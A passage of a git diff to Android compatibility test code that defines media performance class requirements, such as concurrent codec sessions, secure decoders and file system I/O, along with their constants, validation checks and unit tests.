+ public static ConcurrentCodecRequirement createR5_1__H_1_3_1080p() {
+ RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.CONCURRENT_SESSIONS)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_3, maxInstances);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-4] MUST support 6 instances of hardware video encoder sessions (AVC,
+ * HEVC, VP9* or later) in any codec combination running concurrently at 720p(R,S)
+ * resolution@30 fps.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_4_720p() {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ // Requirement not asserted since encoder test runs in byte buffer mode
+ .addRequiredValue(Build.VERSION_CODES.R, 0.0)
+ .addRequiredValue(Build.VERSION_CODES.S, 0.0)
+ .build();
+
+ return create720p(RequirementConstants.R5_1__H_1_4, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-4] MUST support 6 instances of hardware video encoder sessions (AVC,
+ * HEVC, VP9* or later) in any codec combination running concurrently at 1080p(T)
+ * resolution@30 fps.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_4_1080p() {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ // Requirement not asserted since encoder test runs in byte buffer mode
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 0.0)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_4, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-5] MUST advertise the maximum number of hardware video encoder and
+ * decoder sessions that can be run concurrently in any codec combination via the
+ * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+ * .getSupportedPerformancePoints() methods.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_5_720p(String mimeType1,
+ String mimeType2, int resolution) {
+ RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.CONCURRENT_SESSIONS)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.R,
+ getReqMinConcurrentInstances(Build.VERSION_CODES.R, mimeType1, mimeType2,
+ resolution))
+ .addRequiredValue(Build.VERSION_CODES.S,
+ getReqMinConcurrentInstances(Build.VERSION_CODES.S, mimeType1, mimeType2,
+ resolution))
+ .build();
+
+ return create720p(RequirementConstants.R5_1__H_1_5, maxInstances);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-5] MUST advertise the maximum number of hardware video encoder and
+ * decoder sessions that can be run concurrently in any codec combination via the
+ * CodecCapabilities.getMaxSupportedInstances() and VideoCapabilities
+ * .getSupportedPerformancePoints() methods.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_5_1080p() {
+ RequiredMeasurement<Integer> maxInstances = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.CONCURRENT_SESSIONS)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_5, maxInstances);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-6] Support 6 instances of hardware video decoder and hardware video
+ * encoder sessions (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently
+ * at 720p(R,S) /1080p(T) @30fps resolution.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_6_720p(String mimeType1,
+ String mimeType2, int resolution) {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ // Test transcoding, fps calculated for encoder and decoder combined so req / 2
+ .addRequiredValue(Build.VERSION_CODES.R,
+ getReqMinConcurrentFps(Build.VERSION_CODES.R, mimeType1, mimeType2, resolution)
+ / 2)
+ .addRequiredValue(Build.VERSION_CODES.S,
+ getReqMinConcurrentFps(Build.VERSION_CODES.S, mimeType1, mimeType2, resolution)
+ / 2)
+ .build();
+
+ return create720p(RequirementConstants.R5_1__H_1_6, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-6] Support 6 instances of hardware video decoder and hardware video
+ * encoder sessions (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently
+ * at 720p(R,S) /1080p(T) @30fps resolution.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_6_1080p() {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ // Test transcoding, fps calculated for encoder and decoder combined so req / 2
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 6 * FPS_30_TOLERANCE / 2)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_6, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-9] Support 2 instances of secure hardware video decoder sessions
+ * (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently at 1080p
+ * resolution@30fps.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_9() {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 2 * FPS_30_TOLERANCE)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_9, reqConcurrentFps);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-10] Support 3 instances of non-secure hardware video decoder sessions
+ * together with 1 instance of secure hardware video decoder session (4 instances total)
+ * (AVC, HEVC, VP9 or AV1) in any codec combination running concurrently at 1080p
+ * resolution@30fps.
+ */
+ public static ConcurrentCodecRequirement createR5_1__H_1_10() {
+ RequiredMeasurement<Double> reqConcurrentFps = RequiredMeasurement.<Double>builder()
+ .setId(RequirementConstants.CONCURRENT_FPS)
+ .setPredicate(RequirementConstants.DOUBLE_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 4 * FPS_30_TOLERANCE)
+ .build();
+
+ return create1080p(RequirementConstants.R5_1__H_1_10, reqConcurrentFps);
+ }
+ }
+
+ // used for requirements [2.2.7.1/5.1/H-1-11], [2.2.7.1/5.7/H-1-2]
+ public static class SecureCodecRequirement extends Requirement {
+ private static final String TAG = SecureCodecRequirement.class.getSimpleName();
+
+ private SecureCodecRequirement(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setSecureReqSatisfied(boolean secureReqSatisfied) {
+ this.setMeasuredValue(RequirementConstants.SECURE_REQ_SATISFIED, secureReqSatisfied);
+ }
+
+ public void setNumCryptoHwSecureAllDec(int numCryptoHwSecureAllDec) {
+ this.setMeasuredValue(RequirementConstants.NUM_CRYPTO_HW_SECURE_ALL_SUPPORT,
+ numCryptoHwSecureAllDec);
+ }
+
+ /**
+ * [2.2.7.1/5.7/H-1-2] MUST support MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL with the below
+ * content decryption capabilities.
+ */
+ public static SecureCodecRequirement createR5_7__H_1_2() {
+ RequiredMeasurement<Integer> hw_secure_all = RequiredMeasurement.<Integer>builder()
+ .setId(RequirementConstants.NUM_CRYPTO_HW_SECURE_ALL_SUPPORT)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1)
+ .build();
+
+ return new SecureCodecRequirement(RequirementConstants.R5_7__H_1_2, hw_secure_all);
+ }
+
+ /**
+ * [2.2.7.1/5.1/H-1-11] Must support secure decoder when a corresponding AVC/VP9/HEVC or AV1
+ * hardware decoder is available
+ */
+ public static SecureCodecRequirement createR5_1__H_1_11() {
+ RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+ .<Boolean>builder()
+ .setId(RequirementConstants.SECURE_REQ_SATISFIED)
+ .setPredicate(RequirementConstants.BOOLEAN_EQ)
+ .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+ .build();
+
+ return new SecureCodecRequirement(RequirementConstants.R5_1__H_1_11, requirement);
+ }
+ }
+
private <R extends Requirement> R addRequirement(R req) {
if (!this.mRequirements.add(req)) {
throw new IllegalStateException("Requirement " + req.id() + " already added");
@@ -228,6 +1035,156 @@
return this.<MemoryRequirement>addRequirement(MemoryRequirement.createR7_6_1__H_2_1());
}
+ public FileSystemRequirement addR8_2__H_1_1() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_1_1());
+ }
+
+ public FileSystemRequirement addR8_2__H_2_1() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_2_1());
+ }
+
+ public FileSystemRequirement addR8_2__H_1_2() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_1_2());
+ }
+
+ public FileSystemRequirement addR8_2__H_2_2() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_2_2());
+ }
+
+ public FileSystemRequirement addR8_2__H_1_3() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_1_3());
+ }
+
+ public FileSystemRequirement addR8_2__H_2_3() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_2_3());
+ }
+
+ public FileSystemRequirement addR8_2__H_1_4() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_1_4());
+ }
+
+ public FileSystemRequirement addR8_2__H_2_4() {
+ return this.addRequirement(FileSystemRequirement.createR8_2__H_2_4());
+ }
+
+ public FrameDropRequirement addR5_3__H_1_1_R() {
+ return this.addRequirement(FrameDropRequirement.createR5_3__H_1_1_R());
+ }
+
+ public FrameDropRequirement addR5_3__H_1_2_R() {
+ return this.addRequirement(FrameDropRequirement.createR5_3__H_1_2_R());
+ }
+
+ public FrameDropRequirement addR5_3__H_1_1_ST() {
+ return this.addRequirement(FrameDropRequirement.createR5_3__H_1_1_ST());
+ }
+
+ public FrameDropRequirement addR5_3__H_1_2_ST() {
+ return this.addRequirement(FrameDropRequirement.createR5_3__H_1_2_ST());
+ }
+
+ public CodecInitLatencyRequirement addR5_1__H_1_7() {
+ return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_7());
+ }
+
+ public CodecInitLatencyRequirement addR5_1__H_1_8() {
+ return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_8());
+ }
+
+ public CodecInitLatencyRequirement addR5_1__H_1_12() {
+ return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_12());
+ }
+
+ public CodecInitLatencyRequirement addR5_1__H_1_13() {
+ return this.addRequirement(CodecInitLatencyRequirement.createR5_1__H_1_13());
+ }
+
+ public VideoCodecRequirement addR4k60HwEncoder() {
+ return this.addRequirement(VideoCodecRequirement.createR4k60HwEncoder());
+ }
+
+ public VideoCodecRequirement addR4k60HwDecoder() {
+ return this.addRequirement(VideoCodecRequirement.createR4k60HwDecoder());
+ }
+
+ public VideoCodecRequirement addRAV1DecoderReq() {
+ return this.addRequirement(VideoCodecRequirement.createRAV1DecoderReq());
+ }
+
+ public SecureCodecRequirement addR5_1__H_1_11() {
+ return this.addRequirement(SecureCodecRequirement.createR5_1__H_1_11());
+ }
+
+ public SecureCodecRequirement addR5_7__H_1_2() {
+ return this.addRequirement(SecureCodecRequirement.createR5_7__H_1_2());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_1_720p(String mimeType1, String mimeType2,
+ int resolution) {
+ return this.addRequirement(
+ ConcurrentCodecRequirement.createR5_1__H_1_1_720p(mimeType1, mimeType2, resolution));
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_1_1080p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_1_1080p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_2_720p(String mimeType1, String mimeType2,
+ int resolution) {
+ return this.addRequirement(
+ ConcurrentCodecRequirement.createR5_1__H_1_2_720p(mimeType1, mimeType2, resolution));
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_2_1080p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_2_1080p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_3_720p(String mimeType1, String mimeType2,
+ int resolution) {
+ return this.addRequirement(
+ ConcurrentCodecRequirement.createR5_1__H_1_3_720p(mimeType1, mimeType2, resolution));
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_3_1080p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_3_1080p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_4_720p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_4_720p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_4_1080p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_4_1080p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_5_720p(String mimeType1, String mimeType2,
+ int resolution) {
+ return this.addRequirement(
+ ConcurrentCodecRequirement.createR5_1__H_1_5_720p(mimeType1, mimeType2, resolution));
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_5_1080p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_5_1080p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_6_720p(String mimeType1, String mimeType2,
+ int resolution) {
+ return this.addRequirement(
+ ConcurrentCodecRequirement.createR5_1__H_1_6_720p(mimeType1, mimeType2, resolution));
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_6_1080p() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_6_1080p());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_9() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_9());
+ }
+
+ public ConcurrentCodecRequirement addR5_1__H_1_10() {
+ return this.addRequirement(ConcurrentCodecRequirement.createR5_1__H_1_10());
+ }
+
public void submitAndCheck() {
boolean perfClassMet = true;
for (Requirement req: this.mRequirements) {
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
index 92d3bff..f89cb28 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
@@ -34,6 +34,7 @@
private static final String TAG = RequiredMeasurement.class.getSimpleName();
private T measuredValue; // Note this is not part of the equals calculations
+ private boolean measuredValueSet = false;
public static <T> Builder<T> builder() {
return new AutoValue_RequiredMeasurement.Builder<T>();
@@ -53,6 +54,7 @@
public abstract ImmutableMap<Integer, T> expectedValues();
public void setMeasuredValue(T measuredValue) {
+ this.measuredValueSet = true;
this.measuredValue = measuredValue;
}
@@ -73,7 +75,14 @@
public abstract RequiredMeasurement<T> build();
}
- private final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass) {
+ public final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass)
+ throws IllegalStateException {
+
+ if (!this.measuredValueSet) {
+ throw new IllegalStateException("measured value not set for required measurement "
+ + this.id());
+ }
+
if (!this.expectedValues().containsKey(mediaPerformanceClass)) {
return RequirementConstants.Result.NA;
} else if (this.measuredValue == null || !this.predicate().test(this.measuredValue,
@@ -104,8 +113,16 @@
+ "\n\tExpected Values: " + this.expectedValues();
}
- public void writeValue(DeviceReportLog log) {
- if (this.measuredValue instanceof Integer) {
+ public void writeValue(DeviceReportLog log) throws IllegalStateException {
+
+ if (!this.measuredValueSet) {
+ throw new IllegalStateException("measured value not set for required measurement "
+ + this.id());
+ }
+
+ if (this.measuredValue == null) {
+ log.addValue(this.id(), "<nullptr>", ResultType.NEUTRAL, ResultUnit.NONE);
+ } else if (this.measuredValue instanceof Integer) {
log.addValue(this.id(), (int)this.measuredValue, ResultType.NEUTRAL, ResultUnit.NONE);
} else if (this.measuredValue instanceof Long) {
log.addValue(this.id(), (long)this.measuredValue, ResultType.NEUTRAL, ResultUnit.NONE);
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
index 9f0bc44..445c5c6 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
@@ -26,6 +26,7 @@
import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.ImmutableMap;
+import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
@@ -89,35 +90,18 @@
}
@VisibleForTesting
- protected boolean checkPerformanceClass(String testName, int reportPerfClass,
- int expectedPerfClass) {
- if (reportPerfClass < expectedPerfClass) {
- Log.w(Requirement.TAG, "Test: " + testName + " reporting invalid performance class " +
- reportPerfClass + " for requirement " + this.id + " performance class should at " +
- "least be: " + expectedPerfClass);
- for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
- Map<Integer, RequirementConstants.Result> perfClasses = rm.getPerformanceClass();
- int maxMetPerformanceClass = 0;
- for (int pc: perfClasses.keySet()) {
- if (perfClasses.get(pc) == RequirementConstants.Result.MET) {
- maxMetPerformanceClass = Math.max(maxMetPerformanceClass, pc);
- }
- }
-
- if (maxMetPerformanceClass < expectedPerfClass) {
- Log.w(Requirement.TAG, rm.toString());
- } else {
- Log.i(Requirement.TAG, rm.toString());
- }
+ protected boolean checkPerformanceClass(int devicePerfClass) {
+ boolean noResultsUnment = true;
+ for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
+ RequirementConstants.Result res = rm.meetsPerformanceClass(devicePerfClass);
+ if (res == RequirementConstants.Result.UNMET) {
+ Log.w(Requirement.TAG, rm.toString());
+ noResultsUnment = false;
+ } else {
+ Log.i(Requirement.TAG, rm.toString());
}
- return false;
- } else {
- return true;
}
- }
-
- private boolean checkPerformanceClass(String testName, int reportPerfClass) {
- return this.checkPerformanceClass(testName, reportPerfClass, Utils.getPerfClass());
+ return noResultsUnment;
}
protected <T> void setMeasuredValue(String measurement, T measuredValue) {
@@ -130,6 +114,13 @@
* @return whether or not the requirement meets the device's specified performance class
*/
public boolean writeLogAndCheck(String testName) {
+ if (this.id == RequirementConstants.RTBD) {
+ // skip upload on any requirement without a specified id
+ Log.i(this.TAG, testName + "has requirement without set requirement id and test " +
+ "results were not uploaded");
+ return this.checkPerformanceClass(Utils.getPerfClass());
+ }
+
int perfClass = this.computePerformanceClass();
DeviceReportLog log = new DeviceReportLog(RequirementConstants.REPORT_LOG_NAME, this.id);
@@ -142,6 +133,6 @@
ResultUnit.NONE);
log.submit(InstrumentationRegistry.getInstrumentation());
- return this.checkPerformanceClass(testName, perfClass);
+ return this.checkPerformanceClass(Utils.getPerfClass());
}
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
index e67656f..3cd0ee1 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequirementConstants.java
@@ -35,9 +35,19 @@
public static final String R5_1__H_1_6 = "r5_1__h_1_6"; // 5.1/H-1-6
public static final String R5_1__H_1_7 = "r5_1__h_1_7"; // 5.1/H-1-7
public static final String R5_1__H_1_8 = "r5_1__h_1_8"; // 5.1/H-1-8
+ public static final String R5_1__H_1_9 = "r5_1__h_1_9"; // 5.1/H-1-9
+ public static final String R5_1__H_1_10 = "r5_1__h_1_10"; // 5.1/H-1-10
+ public static final String R5_1__H_1_11 = "r5_1__h_1_11"; // 5.1/H-1-11
+ public static final String R5_1__H_1_12 = "r5_1__h_1_12"; // 5.1/H-1-12
+ public static final String R5_1__H_1_13 = "r5_1__h_1_13"; // 5.1/H-1-13
+ public static final String R5_1__H_1_14 = "r5_1__h_1_14"; // 5.1/H-1-14
+ public static final String R5_1__H_1_15 = "r5_1__h_1_15"; // 5.1/H-1-16
+ public static final String R5_1__H_1_16 = "r5_1__h_1_16"; // 5.1/H-1-16
public static final String R5_3__H_1_1 = "r5_3__h_1_1"; // 5.3/H-1-1
public static final String R5_3__H_1_2 = "r5_3__h_1_2"; // 5.3/H-1-2
public static final String R5_6__H_1_1 = "r5_6__h_1_1"; // 5.6/H-1-1
+ public static final String R5_7__H_1_1 = "r5_7__h_1_1"; // 5.7/H-1-1
+ public static final String R5_7__H_1_2 = "r5_7__h_1_2"; // 5.7/H-1-2
public static final String R7_5__H_1_1 = "r7_5__h_1_1"; // 7.5/H-1-1
public static final String R7_5__H_1_2 = "r7_5__h_1_2"; // 7.5/H-1-2
public static final String R7_5__H_1_3 = "r7_5__h_1_3"; // 7.5/H-1-3
@@ -61,8 +71,11 @@
public static final String R8_2__H_2_2 = "r8_2__h_2_2"; // 8.2/H-2-2
public static final String R8_2__H_2_3 = "r8_2__h_2_3"; // 8.2/H-2-3
public static final String R8_2__H_2_4 = "r8_2__h_2_4"; // 8.2/H-2-4
+ public static final String RTBD = "tbd"; // placeholder for requirements without a set id
- public static final String MAX_CONCURRENT_SESSIONS = "max_concurrent_sessions";
+ public static final String CONCURRENT_SESSIONS = "concurrent_sessions";
+ public static final String TEST_RESOLUTION = "resolution";
+ public static final String CONCURRENT_FPS = "concurrent_fps";
public static final String SUPPORTED_PERFORMANCE_POINTS = "supported_performance_points";
public static final String FRAMES_DROPPED = "frame_drops_per_30sec";
public static final String FRAME_RATE = "frame_rate";
@@ -70,14 +83,27 @@
public static final String SHORT_RESOLUTION = "short_resolution_pixels";
public static final String DISPLAY_DENSITY = "display_density_dpi";
public static final String PHYSICAL_MEMORY = "physical_memory_mb";
+ public static final String CODEC_INIT_LATENCY = "codec_initialization_latency_ms";
+ public static final String AV1_DEC_REQ = "av1_decoder_requirement_boolean";
+ public static final String NUM_4k_HW_DEC = "number_4k_hw_decoders";
+ public static final String NUM_4k_HW_ENC = "number_4k_hw_encoders";
+ public static final String SECURE_REQ_SATISFIED = "secure_requirement_satisfied_boolean";
+ public static final String NUM_CRYPTO_HW_SECURE_ALL_SUPPORT =
+ "number_crypto_hw_secure_all_support";
+ public static final String FILESYSTEM_IO_RATE = "filesystem_io_rate_mbps";
public enum Result {
NA, MET, UNMET
}
public static final BiPredicate<Long, Long> LONG_GTE = RequirementConstants.gte();
+ public static final BiPredicate<Long, Long> LONG_LTE = RequirementConstants.lte();
public static final BiPredicate<Integer, Integer> INTEGER_GTE = RequirementConstants.gte();
public static final BiPredicate<Integer, Integer> INTEGER_LTE = RequirementConstants.lte();
+ public static final BiPredicate<Integer, Integer> INTEGER_EQ = RequirementConstants.eq();
+ public static final BiPredicate<Double, Double> DOUBLE_GTE = RequirementConstants.gte();
+ public static final BiPredicate<Double, Double> DOUBLE_EQ = RequirementConstants.eq();
+ public static final BiPredicate<Boolean, Boolean> BOOLEAN_EQ = RequirementConstants.eq();
/**
* Creates a >= predicate.
@@ -115,5 +141,22 @@
};
}
+ /**
+ * Creates an == predicate.
+ */
+ private static <T, S extends Comparable<T>> BiPredicate<S, T> eq() {
+ return new BiPredicate<S, T>() {
+ @Override
+ public boolean test(S actual, T expected) {
+ return actual.compareTo(expected) == 0;
+ }
+
+ @Override
+ public String toString() {
+ return "Equal to";
+ }
+ };
+ }
+
private RequirementConstants() {} // class should not be instantiated
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
index a5484ff..ac03705 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Utils.java
@@ -40,6 +40,7 @@
private static final int sPc;
private static final String TAG = "PerformanceClassTestUtils";
+ private static final String MEDIA_PERF_CLASS_KEY = "media-performance-class";
public static final int DISPLAY_DPI;
public static final int MIN_DISPLAY_CANDIDATE_DPI = DENSITY_400;
@@ -56,8 +57,18 @@
public static final long MIN_MEMORY_PERF_CLASS_T_MB = 7 * 1024;
static {
- sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) ? Build.VERSION.MEDIA_PERFORMANCE_CLASS
- : SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
+ // with a default-media-performance-class that can be configured through a command line
+ // argument.
+ android.os.Bundle args = InstrumentationRegistry.getArguments();
+ String mediaPerfClassArg = args.getString(MEDIA_PERF_CLASS_KEY);
+ if (mediaPerfClassArg != null) {
+ Log.d(TAG, "Running the tests with performance class set to " + mediaPerfClassArg);
+ sPc = Integer.parseInt(mediaPerfClassArg);
+ } else {
+ sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S)
+ ? Build.VERSION.MEDIA_PERFORMANCE_CLASS
+ : SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
+ }
Log.d(TAG, "performance class is " + sPc);
Context context = InstrumentationRegistry.getInstrumentation().getContext();
diff --git a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
index b330724..daa9d27 100644
--- a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
+++ b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
@@ -18,6 +18,8 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertThrows;
+
import android.os.Build;
import org.junit.Test;
@@ -28,103 +30,176 @@
super(id, reqs);
}
- public void setGTEMeasurement(int measure) {
+ public void setMeasurement1(int measure) {
this.<Integer>setMeasuredValue("test_measurement_1", measure);
}
- public void setLTEMeasurement(int measure) {
- this.<Integer>setMeasuredValue("test_measurement_2", measure);
- }
-
public static TestReq create() {
RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
.<Integer>builder()
.setId("test_measurement_1")
.setPredicate(RequirementConstants.INTEGER_GTE)
- .addRequiredValue(Build.VERSION_CODES.R, 200)
- .addRequiredValue(Build.VERSION_CODES.S, 300)
+ .addRequiredValue(30, 200)
+ .addRequiredValue(31, 300)
+ .addRequiredValue(32, 400)
+ .build();
+
+ return new TestReq("TestReq", measurement1);
+ }
+ }
+
+ public static class TestReqWith2Measures extends Requirement {
+ private TestReqWith2Measures(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setMeasurement1(int measure) {
+ this.<Integer>setMeasuredValue("test_measurement_1", measure);
+ }
+
+ public void setMeasurement2(int measure) {
+ this.<Integer>setMeasuredValue("test_measurement_2", measure);
+ }
+
+ public static TestReqWith2Measures create() {
+ RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
+ .<Integer>builder()
+ .setId("test_measurement_1")
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(30, 200)
+ .addRequiredValue(31, 300)
+ .addRequiredValue(32, 400)
.build();
RequiredMeasurement<Integer> measurement2 = RequiredMeasurement
.<Integer>builder()
.setId("test_measurement_2")
- .setPredicate(RequirementConstants.INTEGER_LTE)
- .addRequiredValue(Build.VERSION_CODES.R, 500)
- .addRequiredValue(Build.VERSION_CODES.S, 300)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(30, 200)
+ .addRequiredValue(31, 300)
+ .addRequiredValue(32, 400)
.build();
- return new TestReq("TestReq", measurement1, measurement2);
+ return new TestReqWith2Measures("TestReqWith2Measures", measurement1, measurement2);
}
}
- // used as a base for computePerformanceClass_testCase methods
- private void testComputePerformanceClass(int gteMeasure, int lteMeasure, int expectedPC) {
+ @Test
+ public void computePerformanceClass_0() {
TestReq testReq = TestReq.create();
int pc;
- // both measurements do not meet R
- testReq.setGTEMeasurement(gteMeasure);
- testReq.setLTEMeasurement(lteMeasure);
+ testReq.setMeasurement1(100);
pc = testReq.computePerformanceClass();
- assertThat(pc).isEqualTo(expectedPC);
+ assertThat(pc).isEqualTo(0);
}
@Test
- public void computePerformanceClass_bothNotR() {
- // both measurements do not meet R
- this.testComputePerformanceClass(100, 600, 0);
- }
-
- @Test
- public void computePerformanceClass_onlyOneR() {
- // one measurement does not meet R
- this.testComputePerformanceClass(200, 600, 0);
- }
-
- @Test
- public void computePerformanceClass_bothR() {
- // both measurements meet R
- this.testComputePerformanceClass(200, 500, Build.VERSION_CODES.R);
- }
-
- @Test
- public void computePerformanceClass_onlyOneS() {
- // one measurements does not meet S
- this.testComputePerformanceClass(200, 100, Build.VERSION_CODES.R);
- }
-
- @Test
- public void computePerformanceClass_bothS() {
- // both measurements meet S
- this.testComputePerformanceClass(500, 100, Build.VERSION_CODES.S);
- }
-
- // used as a base for checkPerformanceClass_testCase methods
- private void testCheckPerformanceClass(int testPerfClass, boolean expectedResult) {
+ public void computePerformanceClass_30() {
TestReq testReq = TestReq.create();
- boolean perfClassMet;
+ int pc;
- perfClassMet = testReq.checkPerformanceClass("checkPerformanceClass", testPerfClass, 31);
- assertThat(perfClassMet).isEqualTo(expectedResult);
+ testReq.setMeasurement1(200);
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(30);
+ }
+
+ @Test
+ public void computePerformanceClass_31() {
+ TestReq testReq = TestReq.create();
+ int pc;
+
+ testReq.setMeasurement1(300);
+ pc = testReq.computePerformanceClass();
